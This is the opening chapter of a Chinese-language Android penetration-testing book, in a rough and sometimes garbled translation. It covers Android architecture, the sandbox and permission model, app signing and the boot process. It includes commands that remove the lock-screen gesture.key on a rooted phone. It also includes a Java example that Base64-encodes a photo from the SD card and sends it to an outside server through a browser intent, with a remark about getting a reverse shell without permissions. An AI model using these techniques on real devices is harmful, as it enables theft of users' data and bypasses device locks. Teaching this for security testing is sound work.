Android 是当今最流行的智能手机操作系统之一。随着人气的增加,它存在许多安全风险,这些风险不可避免地被引入应用程序,威胁到用户本身。我们将在本书中逐步讨论 Android 应用程序安全性和渗透性测试的各个方面。
本章的目标是 Android 为以后的章节使用打下安全基础。
1.1 Android 简介
自从 Android 被谷歌收购(2005年 ),谷歌已经完成了整个开发,在过去的 9年里,特别是在安全方面,发生了许多变化。现在,它是世界上最广泛使用的智能手机平台,特别是由于不同的手机制造商,如 LG,索尼和 三星HTC 的支持。Android 后续版本引入了许多新概念,如 Google Bouncer 和 Google App Verifier。本章将逐一介绍。
假如我们看 Android 的结构,如下图所示,我们将看到它分为四层。底部是 Linux 内核在移动环境中得到了更好的性能。Linux 内核还必须与所有硬件组件交互,因此它还包含大多数硬件驱动程序。此外,它还负责 Android 中存在的大部分安全功能。Android 基于 Linux 平台还使开发人员易于使用 Android 移植到其他平台和架构。Android 还为开发人员提供硬件抽象层Android在他们想要移植的硬件之间创建软件钩。
在 Linux 内核是一个层次,包括一些最重要和有用的库,如下所示:
Surface Manager:管理窗口和屏幕 媒体框架:允许使用各种类型的编解码器播放和记录不同的媒体 SQLite:这是一个较轻的 SQL 版本用于数据库管理 WebKit:这是浏览器渲染引擎 OpenGL:在屏幕上正确显示 2D 和 3D 内容
以下是 Android 开发人员网站的 Android 结构图表示:
Android 中库使用 C 和 C 写作,大部分来自 Linux 移植Linux 相比,Android 的主要区别之一是这里没有libc它用于 Linux 的大部分任务。Android 有自己的名字bionic我们可以认为它是剥离和修改的,用于 Android 的 libc 版本。
也来自同一层次的 Android 运行时 — Dalvik 虚拟机和核心库的组件。本书下一部分将讨论 Dalvik 虚拟机的许多内容。
在这一层上,有一个支持不同类型任务的应用程序框架层。
此外,开发人员创建的大多数应用程序只与第一层和顶层的应用程序交互。该架构以一种方式设计,底层支持上述级别。
的早期版本Android(<4.0)基于 Linux 内核 2.6.x,更新版本基于内核 3.x. 不同的 Android 版和他们使用的 版Linux 内核列表规定如下:
Android 中的所有应用程序都在虚拟环境下运行,这称为 Dalvik 虚拟机(DVM)。这里需要注意的是,从 Android 4.4 版本开始了,另一个操作被称为 Android 运行时(ART),用户可以在 DVM 和 ART 环境在运行过程中自由切换。
然而,我们只关注这本书 Dalvik 实现虚拟机。Java 虚拟机(JVM),除了寄存器的特性,而不是堆栈的特性。因此,运行的每个应用程序都将在自己的 Dalvik 在虚拟机实例下运行。因此,如果我们运行三个不同的应用程序,就会有三个不同的虚拟实例。现在,这里的重点是,即使它为应用程序创建了一个虚拟环境,它也不应该与安全容器或安全环境混淆。DVM 的主要焦点是性能,而不是安全。
Dalvik 虚拟机执行一个名为.dex或 Dalvik 可执行文件的文件格式。我们将进一步检查.dex以下章节将分析文件格式。现在让我们继续与 合作adb 进行交互,并更深入地分析 Android 设备及其系统结构。
1.2 深入了解 Android
如果你有 Android 设备或正在运行Android 可用于模拟器Android SDK 本身提供的工具(称为 adb)。我们将在第二章中详细讨论 adb。现在我们只设置 SDK,我们已经准备好了。
一旦设备通过 USB 连接,我们可以在我们的终端中输入 adb,这将显示连接设备的序列号列表。请确保您已在设备设置中使用 USB 调试功能。
$ adb devicesList of devices attachedemulator-5554 device提示
下载示例代码
你可以从http://www.packtpub.com下载你从账户中购买的所有 Packt 图书示例代码文件。如果您在其他地方购买此书,请访问http://www.packtpub.com/support并注册以将文件直接发送给你。
如我们以前所见,Android 是基于 Linux 内核,所以大部分 Linux 命令在 Android 也可以通过 adb shell 完美操作。adb shell 为您提供设备shell 直接交互,您可以执行命令和操作,并分析设备中存在的信息。为了执行 shell,只需键入以下命令:
adb shell.一旦我们在 shell 中,我们可以操作ps列出正在运行的过程:
如你所见,ps目前将列出 Android 系统中运行的所有过程。如果你仔细看,用户名是在第一列中制定的。在这里我们可以看到各种用户名,比如system,root,radio和一系列以app_开头的用户名。正如你可能已经猜到的,以system系统拥有名称运行的过程,root作为根过程,radio与电话和无线电相关的过程,app_该过程是用户下载的所有应用程序,安装在他们的设备上,目前正在运行。所以,就像 Linux 在 中,用户确定了当前登录系统的唯一用户Android 用户在自己的环境中识别应用/过程。
所以,Android 安全模型的核心是 Linux 特权分离。Android 当设备启动新的应用程序时,它将分配唯一的用户 ID(UID),该用户 ID 以后会属于其他一些预定义组。
与 Linux 类似地,所有用作命令的二进制文件都位于/system/bin和/system /xbin。另外,我们从 Play 安装在商店或其他来源的应用程序数据将位于/data/data,其原始安装文件(即.apk)将存储在/data/app。此外,还有一些应用程序需要从 开始Play 商店购买,而不仅仅是免费下载。这些应用程序将存储在/data/app-private/。
Android 安装包(APK)是 Android 默认扩展应用程序的名称只是一个归档文件,包括所有必要的应用程序文件和文件夹。我们将在下一章继续.apk逆向工程文件。
现在,让我们来问/data/data,看看里面有什么。这里需要注意的是,为了实现真实设备,设备需要 root 必须在那里su模式:
# cd /data/data# lscom.aditya.facebookappcom.aditya.spinnermenucom.aditya.zeropermissioncom.afe.socketappcom.android.backupconfirmcom.android.browsercom.android.calculator2com.android.calendarcom.android.cameracom.android.certinstallercom.android.classiccom.android.contactscom.android.customlocale2因此,我们可以在这里看到,例如,com.aditya.facebookapp,它是一个单独的应用程序文件夹。现在,你可能想知道为什么它是一个单词风格,而不是一个常见的文件夹名称,比如FacebookApp或CameraApp。因此,这些文件夹的名称指定了每个应用程序的软件包的名称。软件包的名称是 Play 商店和设备上唯一的标识符。例如,可能有多个相机应用程序或具有相同名称的计算器应用程序。因此,为了识别不同的应用程序,使用包名称协议而不是常规应用程序名称。
如果我们进入任何应用程序文件夹,我们将看到不同的子文件夹,如文件夹(files),数据库(databases)和缓存(cache),后来,我们将在第三章逆向审计 Android查看 应用程序。
[email protected]:/data/data/de.trier.infsec.koch.droidsheep # lscachedatabasesfileslib[email protected]:/data/data/de.trier.infsec.koch.droidsheep #如果手机已经 root,我们可以修改文件系统中的任何文件。对设备获取 root 意味着我们可以完全访问和控制整个设备,这意味着我们可以看到和修改我们想要的任何文件。
最常见的安全保护之一是模式锁定或 pin 锁,默认存在于所有Android手机。您可以访问Settings | Security | Screen Lock配置自己的模式。
一旦我们设置密码或模式锁定,我们将继续使用手机和 USB 连接到我们的系统。现在,密码锁的密钥或模式锁的模式数据以名称命名password.key或gesture.key存储在/data/system。请注意,如果设备被锁定并 USB 调试打开,需要定制引导加载程序打开 USB 调试。整个过程超出了这本书的范围。Android 欲了解更多信息,请参考 Thomas Cannon Digging 的 Defcon 演示。
由于破解密码/模式将更加困难和暴力(我们将看到如何解密实际数据),我们将简单地继续和删除文件,这将从我们的手机中删除模型保护 :
[email protected]:/data # cd /data/system[email protected]:/data/system # rm gesture.key因此,我们可以看到,一旦手机被 ,root ,几乎什么都可以用手机,一个USB完成电缆和系统。在本书的后续章节中,我们将更多地了解 USB 的利用。
1.3 沙箱及权限模型
为了理解 Android 沙箱,让我们举个例子,如下图所示:
如前图所示,与前面讨论,Android 每个应用程序都在自己的 Dalvik 在虚拟机实例中运行。这就是为什么任何应用程序在我们的设备中崩溃,它只显示强制关闭或等待选项,但其他应用程序继续顺利运行。此外,由于每个应用程序都在自己的例子中运行,除非内容提供商另有规定,否则无法访问其他应用程序的数据。
Android 在编译最终应用程序包之前,使用细粒度的权限模型来定义权限。
你必须注意到,每次从 Play 当商店或其他任何来源下载应用程序时,它会在安装过程中显示一个权限屏幕,类似于以下屏幕截图:
该权限屏幕显示应用程序可以通过手机执行的所有任务列表,如发送短信、访问互联网和访问摄像头。要求超过要求的权限使应用程序成为恶意软件作者更具吸引力的目标。
Android 应用程序开发人员在开发应用程序时必须命名AndroidManifest.xml所有这些权限都指定在文件中。本文件包含各种应用程序相关信息的列表,如操作程序所需的最低 Android 版本、程序包名称、活动列表(应用程序中可见的界面)、服务(应用程序的背景过程) 和权限。如果应用程序开发人员不在AndroidManifest.xml如果文件中指定权限并仍在应用程序中使用,应用程序将崩溃,并在用户运行时显示强制关闭信息。
一个正常的AndroidManifest.xml文件看起来像下面的截图。在这里,您可以使用它<uses-permission>查看标记和其他标记所需的不同权限:
如前所述,所有 Android 应用程序将在安装后第一次启动时分配唯一的 UID。具有给定 UID 的所有用户都属于特定的组,这取决于他们要求的权限。例如,只要求 Internet 权限应用程序将属于inet组,因为 Android 中的 Internet 权限位于inet组下。
在这种情况下,用户(应用程序)可以属于多个组,这取决于他们要求的权限。换句话说,每个用户可以属于多个组,每个组可以有多个用户。这些组由组组组组成ID(GID)定义的唯一名称。然而,开发人员可以明确地指定其他应用程序在与第一个相同的 UID 下操作。在我们的设备中,组和权限在文件中platform.xml它位于//system/etc/permissions/:
[email protected]:/system/etc/permissions $ cat platform.xml<permissions>. . . <!-- ================================================================== --> <!-- The following tags are associating low-level group IDs with permission names. By specifying such a mapping,you are saying that any application process granted the given permission will also be running with the given group ID attached to its process, so it can perform any filesystem (read,write,execute) operations allowed for that group. --> <permission name="android.permission.BLUETOOTH" <group gid="net_bt" /> </permission> <permission name="android.permission.INTERNET" <group gid="inet" /> </permission> <permission name="android.permission.CAMERA" <group gid="camera" /> </permission>. . . [Some of the data has been stripped from here in order to shorten the output and make it readable]</permissions>此外,这清除了 Android 怀疑设备中运行的本地应用程序。因为本地应用程序直接与处理器交互,而不是 Dalvik 虚拟机下运行,不会以任何方式影响整体安全模型。
现在,就像我们在前面部分看到的,应用程序将其数据存储在location/data/data/[package name]。目前,存储应用程序数据的所有文件夹都有相同的用户 ID,这构成 Android 安全模型的基础。UID 和文件权限将来自不同的 UID 其他应用程序访问和修改它。
在下面的代码示例中,ret包含以 Base64存储在 格式编码中的 SD 卡中的图像现在用浏览器调用上传到attify.com网站。目的只是在两个不同的 中找到一种方法Android 通信对象之间。
我们将首先创建一个对象来存储图像,在 Base64 中间编码,最后存储在字符串中imageString:
final File file = new File("/mnt/sdcard/profile.jpg");Uri uri = Uri.fromFile(file);ContentResolver cr = getContentResolver();Bitmap bMap=null;try InputStream is = cr.openInputStream(uri); bMap = BitmapFactory.decodeStream(is); if (is != null) is.close()catch (Exception e) Log.e("Error reading file",e.toString());}ByteArrayOutputStream baos = new ByteArrayOutputStream(); bMap.compress(Bitmap.CompressFormat.JPEG,100,baos); byte[] b = baos.toByteArray();String imageString = Base64.encodeToString(b,Base64.DEFAULT);最后,我们将启动浏览器将数据发送到我们的服务器,我们有一个.php文件侦听传入的数据:
startActivity(new Intent(Intent.ACTION_VIEW,Uri.parse("http://attify.com/up.php?u=" imageString)));我们还可以执行命令,并以相同的方式将输出发送到远程服务器。然而,这里需要注意的是 shell 应在应用程序用户下运行:
// To execute commands : String str = "cat /proc/version"; command to be executed is stored in str.process = Runtime.getRuntime().exec(str);这是一个有趣的现象,因为攻击者可以得到反向 shell(这是从设备到系统的双向连接,可用于执行命令),而无需任何类型的权限。
1.4 应用签名
应用程序签名是 Android 的独特特点之一是它的开放性和开发人员社区。Play 商店有100多万个应用。Android 任何人都可以下载 Android SDK 创建 Android 应用,然后发布到 Play 商店。通常有两种类型的证书签名机制。一是管理证书颁发机构(CA)另一个是自签证书。没有中间证书颁发机构(CA),开发人员可以创建自己的证书并签署应用程序。
在 Apple 的 iOS 在应用程序模型中可以看到 CA 签名,开发者上传到 App Store 的每个应用程序都经过验证,然后通过 Apple 签署证书。一旦下载到设备中,设备将验证应用程序是否为 Apple 的 CA 签名,然后允许应用程序运行。
但是,在 Android 恰恰相反。没有证书颁发机构; 相反,开发人员可以签署自己的证书。上传应用程序后, Google Bouncer 验证是检查应用程序是否恶意或合法的虚拟环境。检查完成后,将显示在 Play 商店。在这种情况下,Google 不会签署应用程序。开发人员可以使用 Android SDK 附带工具(称为keytool)创建自己的证书,或使用 Eclipse 的 GUI 创建证书。
因此,在 Android 中,一旦开发人员使用他创建的证书签署应用程序,他需要将证书的密钥保存在一个安全的位置,以防止其他人窃取他的密钥,并使用开发人员的证书签署其他应用程序 。
假如我们有一个 Android 应用程序(.apk)对于文件,我们可以检查应用程序的签名,并找到使用名称jarsigner的工具签署应用程序的人,这个工具是 Android SDK 自带的:
$ jarsigner -verify -certs -verbose testing.apk以下是运行上述命令并在应用程序上获取签名信息的屏幕截图:
另外,解压缩.apk文件后,可以分析META-INF出现在文件夹中CERT.RSA文件的 ASCII 获取签名的内容,如下列命令所示:
$ unzip testing.apk$ cd META-INF$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer$ cat out.cer在测试和分析未知 Android.apk例子很有用。因此,我们可以使用它来获取签名人和其他详细信息。
1.5 Android 启动流程
在 Android 考虑安全最重要的事情之一是 Android 启动过程。整个引导过程从引导加载过程开始,反过来启动init过程 – 第一个用户级流程。
因此,任何指导加载程序的变化,或者如果我们加载另一个,而不是默认的指导加载程序,我们实际上都可以改变设备上加载的内容。指导加载程序通常是针对供应商的,每个供应商都有自己修改版本的指导加载程序。通常,在默认情况下,该功能被禁止锁定指导加载程序,只允许供应商指定的信任核心在设备上运行。为了自己的 ROM 刷到 Android 设备,需要解锁引导加载程序。解锁和引导加载程序的过程可能因设备而异。在某些情况下,它还可能导致设备保修失败。
注
在 Nexus 7 中,它就像使用命令行fastboot工具一样简单,如下所示:
$ fastboot oem unlock在其他设备中,可能需要更多的精力。让我们看看如何创建自己的 Bootloader 并在本书的后续章节中使用。
回到启动过程,启动内核并启动引导加载程序init之后,它挂载了 Android 系统运行所需的一些重要目录,如/dev,/sys和/proc。此外,init从配置文件init.rc和init.[device-name].rc在某些情况下,从同一位置获得自己的配置.sh获取自己的文件配置。
如果我们对init.rc文件执行cat,我们init如下截图所示:
init该过程的责任是启动其他必要的组件,如负责 ADB 通信和卷守护程序(vold)的 adb 守护程序(adbd)。
加载过程中使用的一些属性位于build.prop,它位于location/system。当你在 Android 设备上看到 Android logo 完成了init加载过程。正如我们在下面的截图中看到的,我们通过检查build.prop获取设备的具体信息:
一旦所有的东西都被加载,init最后,将加载一个称为 Zygote 的过程负责在最小空间加载 Dalvik 虚拟机和共享库可以加快整个过程的加载速度。此外,它还继续监控自己的新呼叫,以便在必要时启动更多 DVM。当你在设备上看到 Android 动画开机时的情况。
一旦完全启动,Zygote 派生自己,启动系统,加载其他必要的 Android 组件,如活动管理器。一旦整个指导过程完成,系统就会发送BOOT_COMPLETED广播,许多应用程序可能被称为广播接收器 Android 监控应用程序中的组件。当我们在第3章逆向和审计 Android在分析恶意软件和应用程序时,我们将进一步了解广播接收器。
总结
在本章中,我们学习 Android建立了渗透试验的基础。我们也知道 Android 内部结构及其安全系统结构。
在下一章中,我们将建立 Android 渗透测试实验室,并利用这些知识执行更多的技术任务来渗透 Android 设备和应用程序。我们还将了解 ADB 用于收集和分析设备中的信息。